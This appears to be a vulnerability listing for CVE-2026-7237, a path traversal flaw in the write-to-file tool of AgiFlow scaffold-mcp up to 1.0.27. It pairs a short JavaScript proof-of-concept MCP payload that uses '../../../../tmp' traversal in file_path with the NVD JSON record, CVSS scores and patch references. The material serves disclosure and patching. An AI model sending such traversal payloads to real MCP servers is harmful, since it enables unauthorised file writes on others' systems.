CVE-2026-7237

// PoC Concept for CVE-2026-7237 // Target: AgiFlow scaffold-mcp <= 1.0.27 // The vulnerability lies in the 'write-to-file' tool. // By manipulating the 'file_path' argument, an attacker can traverse directories. const maliciousPayload = { "method": "tools/call", "params": { "name": "write-to-file", "arguments": { // Using path traversal sequences to write outside the intended directory "file_path": "../../../../tmp/poc_exploit.txt", "content": "CVE-2026-7237 Exploit Test Content" } } }; // An attacker would send this JSON payload to the vulnerable MCP server endpoint. // Example (pseudo-code): // fetch('http://vulnerable-target:port/mcp', { // method: 'POST', // headers: { 'Content-Type': 'application/json' }, // body: JSON.stringify(maliciousPayload) // });

{"cve": {"id": "CVE-2026-7237", "sourceIdentifier": "[email protected]", "published": "2026-04-28T08:16:02.640", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was detected in AgiFlow scaffold-mcp up to 1.0.27. Affected by this issue is some unknown functionality of the file packages/scaffold-mcp/src/server/index.ts of the component write-to-file Tool. The manipulation of the argument file_path results in path traversal. The attack may be launched remotely. The exploit is now public and may be used. Upgrading to version 1.1.0 can resolve this issue. The patch is identified as c4d23592ae5fb59cfeefc4641e6826f8ac89b9c6. You should upgrade the affected component."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "baseScore": 7.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://github.com/AgiFlow/aicode-toolkit/commit/c4d23592ae5fb59cfeefc4641e6826f8ac89b9c6", "source": "[email protected]"}, {"url": "https://github.com/AgiFlow/aicode-toolkit/issues/88", "source": "[email protected]"}, {"url": "https://github.com/AgiFlow/aicode-toolkit/pull/89", "source": "[email protected]"}, {"url": "https://github.com/AgiFlow/aicode-toolkit/releases/tag/%40agiflowai/aicode-toolkit%401.1.0", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/802836", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/359845", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/359845/cti", "source": "[email protected]"}]}}